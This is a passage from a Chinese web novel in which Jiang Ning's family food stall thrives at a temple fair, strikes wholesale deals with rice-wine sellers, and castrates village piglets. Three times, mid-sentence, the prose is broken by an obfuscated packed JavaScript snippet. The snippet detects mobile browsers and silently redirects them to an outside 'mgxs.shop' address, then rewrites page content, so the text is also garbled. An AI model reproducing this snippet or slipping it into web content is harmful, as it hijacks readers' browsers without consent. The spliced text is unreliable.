即便是几文钱的生意，她也要力所能及，呵护着这颗小苗，破土发芽。 姜宁听完，欣然同意，村长在她心中的形象，立马慈祥高大起来，原来村长竟是如此明理的人。 姜宁笑道：“行，按您说的办，后期若有其他问题，我再请您出面帮忙。” 待姜宁告辞走后，村长叮嘱孙女：“阿慧，你去村里各家走一趟，告诉各家，就说，我找姜家说情，请姜家收购大家从田地水沟里抓的野鱼活泥鳅等，十文一公斤，家里有大孩子的，可以抓了送去！再交代各家，不准去大河里，若谁敢悄悄的去，逐出姜家村！” 有了村长背书，全村半大的孩子都动了起来，用筲箕的，抄网兜的，拿箩筐的，徒手抓的，各显身手，到了晚间，收到的野鱼泥鳅，数量是之前的两倍，姜氏手里最后四百文，清空垫付出去。 村里大孩子笑嘻嘻捧着到手的零钱，少的十几文，多的大几十文，村子里好似过年一般，孩子兴高采烈，热烈讨论着要买的东西，约着明日一起逛庙会。 姜家更加忙碌，砍伐竹子喂竹虫，苏慎割草喂鸡，喂猪，姜宁清洗宰杀小鱼，泥鳅，牛蛙，烧制。 最兴奋的是阿拽，坐在装鱼的盆边，不时伸爪子一掏，抓一条最中意的肥鱼，大快朵颐。 除了往日的菜，姜宁看着一盆鳝鱼，做成红烧鳝鱼段，为卷粉添了种帽子。 这里帽子的意思是指浇头。 次日一早，姜氏姜宁两人蒸制好卷粉，娘三一日到庙会上摆摊。 到了庙会，她发现，每家摊子前，有了一个望子，远远的，庙会上，各色望子随风飘荡，看着很是热闹。 姜宁笑了笑，摆好自家摊子，然后从背篓底部，掏出一块大油布，用竹竿撑在食摊上方。 油布是在叶城时陈婆婆送的，他们路上还用来搭建帐篷，破了的洞被姜氏用针线补好，雨水会渗漏，但可以遮挡烈日。 前面是望子，上头是遮阳的油布，下面是竹凳竹椅，她家的摊子看着就不一样，瞬间有了几分模样。 姜宁和姜氏摆着摊子，一边灌输经营理念：“既然要赚乡亲们口袋里的钱，自然要把乡亲们当贵客来招待。” 一句话，即便是七文一碗的小生意，情绪价值必须给够。 庙会上各家摊贩看着她家顶头方方正正的油布棚子，一顿哀嚎。 好家伙，新来的宁记食摊太能卷了，每次庙会都出一种新吃食，弄了望子，又弄棚子，不行，下次庙会，必须把自家的棚子也搭建起来。 米酒摊子里，程婶敲着自己酸溜溜的腰，吐糟姜家太能折腾，不给人活路。 站在前面捞小酥鱼吃的高个女儿程英不赞同：“阿娘，话不能这么说，她怎么没给我们活路，人家主营小酥鱼，卤牛蛙，卷粉，哪一样是庙会上原本有的，都没有。是不是？ 说起来，我们还沾了她的光，因有了下酒的小酥鱼。酒能比之前多卖一桶去！” “您倒好，还抄袭人家做小酥鱼，偏偏学不好，做的没人家做的香！” 被自家孩子点破，程婶面上一红，柳眉倒竖就要开骂，依自家孩子混不吝的性子，肯定要和自己争辩起来，这里庙会，大家都在呢，哪能吵架让人笑话，生生把这口怒气咽下肚。 程英嫌弃的把嘴里的小酥鱼三两口囫囵吞下肚。 而后幽幽劝道：“我看，您也别费劲做小酥鱼了，十五一公斤买回来，辛辛苦苦宰杀烧制，偏卖不掉，赚不到几个钱不说，味道差，影响我家米酒招牌！” 程婶冷哼一声，算是默认她说的是事实。 程英若有所思：“而且，我总琢磨着，姜宁不该一直缩在我们这个小地方，我们同她交好，也许能沾光呢！” 自家这个孩子，一直看人准，她上了心，尴尬道：“为了吸引客人，跟着做了小酥鱼，已经交恶了，如何交好？” 程英成功劝退母亲，笑道：“这简单，我们家小酥鱼不卖了，留着自己慢慢吃，我去从她家那里进货来卖，一来我们不费事，多把精力放在酿酒上，二来小酥鱼味道好，能吸引食客买米酒，三来，和姜家成长期供货关系，情谊慢慢建立起来。” 程婶还在犹豫。 程英指着旁边木萤摊子后的酒桶，下了最后一剂猛药：“你看，木家摊子，原本生意不如我家的，现在，她，每个庙会，卖的酒桶数和我们一样多，这样下去，我们米酒第一的销量，保不住了！” 程婶如被惊雷劈醒。 是啊，她家主业是米酒，是她钻牛角尖了。思路理顺的程婶立马派程英前去洽谈。 程英到了姜家摊子，发现盆里的红烧鳝鱼，必须试一试，点了一碗。 悠闲坐在后面的小竹凳上等待，看着姜宁做卷粉。 姜宁先把卷粉放在锅里烫十吸，然后捞起控水，用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223380|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筷子依次摆放配菜在卷粉上，最后舀一勺酱汁，一勺红烧鳝鱼，再浇一勺骨汤，把冒着热气的卷粉用簸箕抬了，双手端到她面前，递上晒干的筷子。 不说别的，只说人家双手端碗，不把拇指伸到碗里头去，就必须好评。 她瞟一眼姜宁的手，她的手莹白粉红，拇指食指间有薄茧，应该是经常拿锅铲磨的。 指尖剪得秃秃的，没有黑色的污垢，不像前头卖饭大娘的指甲，为了掐菜，留的半长指甲，偏偏黑漆漆的，看了便没胃口。干净清爽，再次好评。 然后她先尝了一片鳝鱼段，入口软嫩香浓，酱香可口，没有刺，风味十足。 啧，竟然吧鳝鱼烧得如此鲜美，再再次好评！ 她吃完一碗卷粉，连汤一起喝，满足喟叹一声。 就凭烧菜的手艺，必须和姜家打好关系，不然，以后去哪吃这些美味的东西。 她喊过姜宁，低声商量：“姜家妹子，你家的小酥鱼，批发一些给我呗！” 金子带来的小酥鱼泥鳅较往次多，她还担心卖不完，不想瞌睡送来枕头。 姜宁心下一喜，又面色古怪看她：“你来，你娘知道么？” 程英面上一红，知道自己娘抄袭不对，解释：“就是我娘打发我过来，亲和你说声对不住，不该学你们。请你们原谅则个！” 说完，她站起身，对着姜宁做了个揖。 姜宁吃吃笑道：“没事，小酥鱼人人做的，我没怪你们。你说的，批发，是个什么意思？” 程英细细解释：“我有两种方案，一种是我们帮你售卖，每种至少一盆，你看着给我们些人工费，你以后有新品，也必须我们摊子上摆一份。卖完我过来取，卖不完也给你送过来。 方案二，你给我们批发价，我每次来你这里进货，我自己售卖，进多少，卖不完也和你无关。” 姜宁想了想，方案一她利润好似更高，但是要额外投人工费和精力。 方案二省时省力，少赚一些钱。 既然合作，肯定大家有得赚才长久。 姜宁笑道：“方案二，我给你批发价，一公斤五十文，你售价至少六十文一公斤，不可以低于这个价，卖一公斤，能赚十文，你要愿意，这个庙会我就能匀出一部分给你。” 正合心意。 程英开心同意，抬了一盆小酥鱼，一盆卤牛蛙肉，一盆冷吃泥鳅，回自家摊位上贩卖。 其他米酒铺子有样学样，来找姜宁进货。 还没等食客来买小酥鱼，姜宁留了一份给木萤，剩余的已经被米酒摊子，全部批发走。 木萤姗姗来迟，知道后为姜宁高兴：“真好，你们只用卖卷粉，免得忙不过来！” “你不生气吗？其他家卖小酥鱼，可能带好他们的米酒生意。”姜宁细细辨别木萤的脸色。 木萤嘿嘿一笑：“在你来之前，我家本来是庙会上，所有米酒摊子，生意最不好的，照你说的那样，回到原来的样子，也是应该的。”她自信捏了捏拳头：“而且，我觉得，大家尝了我家米酒，以后也会一直在我家买的，因为我家米酒很纯很香，所以，你担心的事情不会发生的。” 62. 第 62 章 木萤说话的时候，面上挂着真心实意的笑，没有一丝怨怼。 是个心胸开阔三观正的实在人。 姜宁对她的欢喜，多了几分，有意和她亲近，状若无意道：“木姐姐，你家只有米酒，为什么不试着酿造一下其他酒呢？比如高粱酒，小麦酒，包谷酒，或者用果子酿酒，葡萄酒，什么的？” 她指出了一个大方向，若是木萤有心去探索，她后面再想办法帮忙出出主意，也许有一天，能喝到酱香味的茅子呢！ 木萤一时愣住，家里一直用米酿酒，她只学了米酒的手艺，要是会酿其他酒，摊子多了酒的种类，肯定能吸引更多的食客。 世界好似给她开了扇新的窗子，她的心砰砰砰跳了起来。 晚上回家就开始尝试，现在没有客人，她已经忍不住琢磨，选用什么粮食，或者果子。 姜宁笑笑，回自家摊子忙碌。 到了中午，温度慢慢上来，太阳晒的得人发昏，有了油布顶棚，不少食客为了躲避阴凉，买一碗卷粉坐在后面的小桌子，慢慢品尝。 也有人抱怨：“中午实在热得难受，要是能喝一碗冰粉就好了！” 姜宁接话：“我们家没有冰粉，但我们有凉卷粉，凉爽鲜甜，用菜油做的，全素，要不试一试？” 已经吃着的客人说下次来尝试，还没吃的客人，立马要求换一份凉卷粉。 姜宁诶了一声，洗过手从筲箕里抓一碗卷粉，直接放入调料，酱汁，然后舀一勺辣椒油盖在上头。 双手递给客人。 食客乐滋滋捧着碗到后头小桌子上开吃。 姜宁面前冒出一个小光头，正是收她们摊位费的小和尚，他看一眼后面食客的碗，纠结询问：“真的是全素的么，给我来一碗！” 姜宁保证凉卷粉，绝对是素的，碗里的每一样材料解释给他听：“卷粉是米做的，不能沾一滴油，韭菜，豆芽，酸萝卜丝也不能碰油，还有酱料，辣椒油，你看，里头只是菜油，若是荤油得话，上头早就令起来了。” 小和尚兴冲冲买了一碗，端着蹲到一边，细细品尝。 莹白的凉卷粉，沾染红褐色的酱汁，入口弹韧顺滑凉爽有嚼劲，鲜香十足。 辣椒得香，花生的酥，萝卜的酸，蒜粒的辛，花椒的麻，黄瓜的脆，复合成一种极致的酸甜麻辣香，感觉清爽满足。 小和尚吃完卷粉，意犹未尽，抱着碗，小口小口把汤汁都喝完了，满足拍了拍鼓起的小肚子。 真好，除了白炊饼，饴糖，这庙会上也有他们能吃的，其他有味道的东西，必须带几碗回去，给师傅师兄们尝一尝。 他客气吧碗送回去，挺直腰杆，对着姜宁大气道：“我还要五碗，带走，也要全素的。” 姜宁诶了一声，用芭蕉叶包了五份的卷粉，而后用竹筒调好佐料装好，贴心拿篮子装着递给他，细细交代：“吃得时候，用筷子搅拌一下调料，再倒入卷粉中，你下次庙会再来还我家篮子哈！” 小和尚提着篮子，一蹦一蹦往山上跳。 姜宁没在意，继续回自家摊子，按照每位食客的要求，快速做出不一样口味的卷粉，荤的猪肘味，鳝鱼味，素的可凉可热，有花生味，酸萝卜味，黄瓜味。 经过一天的忙碌，散庙会的时候，今早做的三筲箕卷粉，全部卖完。 她们洗干净碗筷，清点收入，小酥鱼零嘴卖了两千四百文，卷粉一千六百文，合计四千文。 又到了买买买的时候。 下次庙会要用的材料：猪肘两个八百文，猪五花肉三公斤和半公斤里脊肉优惠价两百文，额外送了一对猪大骨。 红糖辣椒芝麻香叶肉蔻等其他调料二百文。 陈米两袋三百文，合计用掉一千五百文，剩余两千五百文。 随着种类的增多，家里带来的一个陶锅和一组小茶炉，大大小小的三个木盆，根本不够用，又买了三个大木盆，三个中木盆，四个小木盆，一组新的小锅炉配深铁锅熬制高汤。 合计花了一千五百文，最后剩一贯钱。 姜氏揣着这贯钱，老怀甚慰，几乎没哭出来，这次终于有剩余了，是个非常好的开端。 回到家，姜氏收好钱，忙着喂虫喂猪，随着日子的推移，她看着筐中长得胖嘟嘟的竹虫，感觉不那么让人讨厌了。 上次两个卤猪头，分送给帮忙种地的各家，算是简单还了这段时日大家帮忙情谊，今晚的晚饭，姜宁用半公斤的里脊肉，做了个小酥肉。 里脊肉切成长条，用刀背稍微敲打一下，洒入葱姜水，少许花椒粉，孜然粉，细盐调味，抓捏得有黏性。 半碗面粉中打入三个鸡蛋，调成酸奶状，锅里油锅加热冒泡，把里脊肉放入面糊中混匀，放入油锅中炸熟，捞出来放凉，升高油温后重新复炸，直到表面金黄。 煮一个，从菜地里拔的水淋淋小白菜，再把剩余的半碗红烧鳝鱼，配些韭菜炒热，便是晚饭。 黏黏的饭粒，清甜的小白菜，咸香得鳝鱼，酥脆入味的小酥肉，再来一小口木萤家的米酒，又是吃饱喝足的一顿。 这些日子起早贪黑，都值了。 吃过晚饭，姜宁计划下个庙会的新品。 现在家里有一大一小两口铁锅，一个深汤锅，可以做米线了。 姜宁跟着姜氏去砍竹子，准备砍一些回来，做米线漏孔。 路上，姜氏和村子里遇到的姐姐妹妹扯闲话，都能说上一两句。 这不，姜氏和同行的杨大姨抱怨：“嗨，一天到晚不得空，砍些竹子回去后，还要去割猪草。我家那几只小猪，是真的猪，除了吃，就是睡，忒吃得！” 杨大姨哦了一声：“不该啊，你家猪才捉回来，没几天吧，正是活泼折腾的时候，莫不是生病了？” 她话一说完，姜氏面色立马担忧起来。 每家农户的牲口关系到家里的收入，必须重视。 杨大姨自知失言，找补到：“没事，没事，也许你家猪性子安静，喜欢睡觉。过会，让我阿娘去看看，她养了一辈子牲口，是爱睡觉，还是生病了，她瞅一眼就知道。” 不一会回到家， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226835|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杨婆婆手里捏着些草药，匆匆过来，仔细看着猪圈。 里面几只抢食的小猪仔，吃完在猪圈里转动两圈，没找到其他吃的，便趴着，她讶异了一下：“你家猪不打架？” 四只小猪吃完，哼唧几下，趴在地上睡觉，这么老实，这还是猪么？ 姜氏干笑：“买回来时，也打的，我，我用刀去了它们的蛋-蛋-卵-卵，它们性子变得安静嗜睡，不打了。” 杨婆婆古怪看她一眼：“你好好的，干嘛割掉？” 姜氏解释：“哦，是我家阿宁抱怨，街上的猪肉，味太腥，一股子臊味，我想着，去了那个，长大后就不臊了，所以干脆趁着猪小，动了下刀子。” “没料到，去势的小猪，性子安静下来，长得也快！” 杨婆婆感叹，每日不是吃，就是睡，长的能不快么？ 她把手里的草药塞回怀里，询问姜氏意见：“我家，也新捉了两只小猪，你过去帮我家处理一下呗！” 姜氏连连拒绝：“不行不行，我也是胡乱割的，万一小猪不适应，生了病就不好了！” 杨婆婆坚持：“没事，若小猪受不住死了，正好让阿宁练手，做烤乳猪我们吃！” 姜氏正找机会还杨家的情，听到杨婆婆的话，不扭捏，带着工具，去了杨家，当场为两只小乳猪做了阉割手术。 当天，小乳猪趴着半死不活，次日便精神抖首要吃的，吃完也不打架了，哼哼唧唧趴着睡觉。 杨婆婆一时，到处宣扬姜氏阉割乳猪手艺，宣扬自家小猪的变化。 村里有小乳猪的人家，都来请姜氏去。姜氏也不收钱，笑眯眯的去，力所能及帮村民做点事。 姜氏阉割手艺越来越熟练，姜宁的米线进度却卡住了。 她找了颗钉子，在大竹筒底打洞，竹子性子脆，一打就裂开，没法形成光滑的小孔。 连续失败了六次，废掉两颗选好的大竹子，她恼怒的把废料竹子丢在一边。 同时感叹叶城外使馆藏龙卧虎，当时她提了一句要的工具，高夫子立马弄了来。 她也想到叶城的贵人，一个月过去了，他的嗜睡症应该好了吧！ 最近庙会，没听说什么大风声，应该是好了。 稍微感叹了句，她便把叶城的一切抛到脑后，不知道，叶城外使馆因为她，闹得鸡飞狗跳。 经过一个月的修整嗜睡，宴时璟头不再如针扎一般痛，慢慢恢复正常，智商回笼。 他记得当时答应了要教小厨子学武艺，满世界的找人。 得了他令下，随从在叶城翻找打听，没找到人，得了个人去花城的消息。 宴时璟在叶城尚有要事，走不开，暂时放下小厨子，应付叶城的事物。 然后过了几日，又命随从，悄摸摸的带些大夫回来。 他现在顾不上小厨子了，因为他发现，他身子好似出了点，不能为外人道的小问题。 他每日阴沉着个脸，暴躁异常，因为他康复，阴转多情的外使馆，开心了没几日，又开始笼罩在阴霾里。 63. 第 63 章 米线加工工具搁置，姜宁暂时把这事丢开手。 姜宁把买回来的五花肉，按肥瘦分开，切成一厘米大小的正方体，先焯水后控干，然后把肥肉放到锅里煸炒出多余的油脂，铲出肥肉，锅里的油脂继续把瘦肉炒熟盛出。 锅里热油，放入一碗剥好皮的白色大蒜粒，小火煎炸透，捞出大蒜粒备用，再放入豆瓣酱炒香后，洒入适量的胡椒粉，香叶，桂皮，草果八角，红糖沫调味，回锅倒入肉粒，大蒜粒，再放入一瓢骨头高汤，淹没肉粒，换陶锅小火炖煮。 熬炖约莫两三个时辰后，肉粒耙烂化渣，改大火收干汤汁。 好了的焖肉放在陶锅里，盖上盖子放置一晚入味。 又到了初一的大庙会，庙会上比平时热闹许多，许久不见的香烛婶子在隔壁摆摊，她惊诧的看着姜家小摊的改变，多了望子和油布棚子，最重要的是，短短几天，姜家小摊从门可罗雀，到人来人往。 一开始是米酒摊子老板们来端小酥鱼，而后接连不断的食客们呼朋引伴，来吃卷粉。 甚至不苟言笑收摊位费的小和尚，都来打包了八碗素卷粉。 因隔壁人流较大，她今日生意较往常好，早早的就把蜡烛卖完了。 香烛婶子好奇，忍不住点了一份，荤卷粉。 现在可以选的口味是鳝鱼的，肘肉的，焖肉的，她看着三盆鲜香酱红的浇头，一时之间不知道怎么选择。 姜宁笑道：“婶子尝尝我们新出的口味，焖肉的，咸香可口，油润软烂。” 香烛婶子点头道好。 只见姜宁快速抓过三条胖嘟嘟的卷粉，在砧板上切成拇指宽的卷子，而后放入沸水中烫熟，接着控干水份，摆入碗中，卷粉散成一条条白色的长片。 然后烫一筷子嫩得滴水的豌豆尖，舀一勺香葱，一勺酸菜，再来一勺酱汁，一勺金红色的辣椒油，一勺油津津的焖肉。 最后浇一勺滚烫的猪骨汤。 香烛婶子看得眼花缭乱，看着简简单单一碗卷粉，竟然这么多工序。 她端过碗，先尝了一快焖肉，入□□汁，汁水四溢，又含了一块瘦肉，咸香化渣。 而后便是卷粉，软硬适中，弹韧爽滑，搭配鲜甜麻辣的骨汤，翠绿的豌豆尖，金黄的酸菜，美味爽口，暖心暖胃。 难怪人家生意好，这味道，比镇上的食馆，还要鲜香美味。 到了下午收摊，姜宁带来的卷粉全部卖完，只剩一碗焖肉浇头。 带回去，正好晚饭做菜。 热了好几锅水，才清洗干净碗筷，姜氏摸了摸装猪肘油腻的盆，又去烧水，嘴里抱怨：“已经热水烫过两遍了，还是油腻腻的。不放油吧，味道不好，放了油吧，锅碗洗不干净！” 姜宁也感觉手上油腻难受，感叹要是有洗洁精就好了。 她悄悄打开系统，搜寻付费视频，洗洁精要的心点值太高，买不起，但是，猪胰子皂很低，只要三十心点，她立马换购学习。 收拾好摊子，他们开始清点铜钱。 经过上次庙会，姜家村的孩子们知道小鱼能换铜钱，差不多整个姜家村的半大孩子下场，日日抓小鱼泥鳅鳝鱼牛蛙到姜家换钱，这次收购，花了整整一千文，收获也是很喜人，卖了三千文，卷粉卖了两千三百文，合计收入五千三百文！ 姜氏点钱的手都在抖，一日，他们只用了一日，就赚了五千三百三十文！ 不过，有多少花多少的姜宁，又开始买买买。 猪肘一个四百文，猪五花肉四百文，猪板油两百文，老规矩，额外送一对猪大骨，姜宁磨了半天，讨要了一个猪胰脏。 而后补充调料红糖等，买了两百文，米两袋一百六十文，面粉三公斤，四十文。 接着，姜宁满庙会找烧碱，还真找到了，买了三十文的，这东西遇到水会冒泡炸，摊主嘱咐千万要小心，用竹筒装密封好。 还有给竹子打洞的工具，庙会上没找到合适的，需要去镇上铁铺那里寻摸。 姜氏偷摸摸看钱箱，还剩四千一百文，眼角不自觉弯起来，真好，留一千文备用，可以先还账三贯。 她掏出两文钱，各发了一文给姜宁和苏慎，大方摆摆手：“去，给你们买饴糖吃！” 姜宁讨价还价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232347|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“饴糖贵得很，一文，还买不到指甲盖的一片，必须十文！” 苏慎已经收了钱，听到后收回腿，折身回来，眼巴巴伸手等着。 姜氏懊悔不已，强挤出一丝笑，叫你手欠！ 她肉痛从钱箱里掏出八文，每人再分四文。 姜宁带着苏慎，买了十文的饴糖，平均分成两份，让卖糖的姨娘敲小后，她带着糖去找木萤。 今天就早上端鱼那会匆匆见了一面，没说上话。 到了木萤摊子，木萤正在收摊，她塞了一块糖到她嘴里，木萤立马开心的眯眼，丢下手里的活计，含着糖拉着她说个不停：“我家里有玉米，我回家后，立马用玉米试了，真的可以酿酒，我今早闻到一股淡淡酒味，等下次庙会，应该能出酒，我带来，你尝尝味！” 好呀好呀。 姜宁不擅饮酒，因烧菜经常用各种酒，略知一二。 木萤激动和她分享，她酿酒的过程，说到犯蠢的时候，两人嘻嘻哈哈，笑作一团。 一旁的程英羡慕的凑过来，从她们面前的芭蕉叶上，自来熟拿了一小块饴糖含在嘴巴里，笑嘻嘻问：“说什么这么热闹，我也听听！” 两人对视一眼，瞬间转移了话题。 随着每家米酒摊子都用姜宁的小酥鱼，其他家米酒的销量又变好了，木萤自家的米酒卖的慢了些，她好不容易试着用玉米酿酒，快成功了，可不能被程家学了去。 姜宁自然站在木萤一边。 程英看着两人默契藏秘密的样子，有些牙痒痒。 算了，不和两个小丫头一般见识，她又拿了一块糖，回自家摊子。 回到家吃过晚饭，姜氏带着姜宁，提了两篮子鸡蛋去还钱，村尾的姜七婆和杨九婆家，分别借了他们一贯和两贯，还了钱，送上一篮子鸡蛋作谢礼，要回借条，姜氏领着人回家。 家里，苏慎用干草扎了个球，乱丢去砸阿拽，每次都砸不中，苏慎气喘吁吁，阿拽步履轻灵。 姜宁看了看竹虫，撒了些多子丹水在竹子上，回到堂屋和姜氏商量：“阿娘，我们明天没事，进山砍些柴吧！”